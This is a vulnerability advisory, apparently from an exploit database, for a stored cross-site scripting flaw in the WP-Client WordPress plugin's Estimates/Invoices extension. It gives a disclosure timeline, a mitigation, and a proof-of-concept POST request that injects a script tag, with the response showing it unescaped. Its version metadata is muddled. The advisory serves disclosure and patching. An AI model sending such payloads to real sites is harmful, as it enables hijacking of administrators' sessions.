WP-Client Vulnerability

vendor:

WP-Client

by:

Pier-Luc Maltais

8,8

CVSS

HIGH

Stored XSS

CWE

Product Name: WP-Client

Affected Version From: 3.8.7

Affected Version To: 1.5.1

Patch Exists: YES

Related CWE: None

CPE: a:wp-client:wp-client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

WP-Client is vulnerable to a stored XSS attack in the Request Estimate page. The extension affected is Estimates/Invoices v1.5.1. An attacker can inject malicious JavaScript code in the 'Comments' field of the Request Estimate page, which will be executed when the page is viewed by an administrator.

Mitigation:

Update to the latest version of WP-Client (v3.8.7) and the Estimates/Invoices extension (v1.5.2).

Source

Exploit-DB raw data:

#####################################################################################
 
Application: WP-Client
 
Version: 3.8.7
 
Author: Pier-Luc Maltais from COSIG
 
Twitter: @COSIG_
 
#####################################################################################
 
1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################
 
===============
1) Introduction
===============
One plugin configures multiple areas of your WordPress installation and allows the 
site Administrator to easily create new Client Areas, Client Management Portals, 
Client Estimates & Invoices, Client File Upload Areas, or Private Staff Pages on the 
site by entering  just a few data fields. Additionally, clients can upload/download 
secure files. (https://wp-client.com/)

 
============================
2) Report Timeline
============================
12/11/2015 - Found the vulnerability
12/11/2015 - Ticket opened
20/11/2015 - Plugin extension Estimates/Invoices updated (v1.5.2)
24/11/2015 - Public disclosure
 
 
============================
3) Technical details
============================
WP-Client is vulnerable to a stored XSS attack in the Request Estimate page. The 
extension affected is Estimates/Invoices v1.5.1.


============================
4) POC
============================
Request : 

POST /portal/request-estimate/ HTTP/1.1
[...]
wpc_data%5Baction%5D=request&wpc_data%5Btitle%5D=Request+Estimate+from+2015-11-12&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bname%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bdescription%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bquantity%5D=1&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bprice%5D=&wpc_data%5Bwpc_inv_message%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
 
Response :

[...]
<div class="wpc_clear"></div>
    <span>Comments:</span><br>
	<table id="wpc_inv_table_request_notes" style="width: 100%;">
		<tr bgcolor="E0E0E0">
			<td><b>client:</b></td>
			<td><script>alert(1)</script>
[...]

#####################################################################################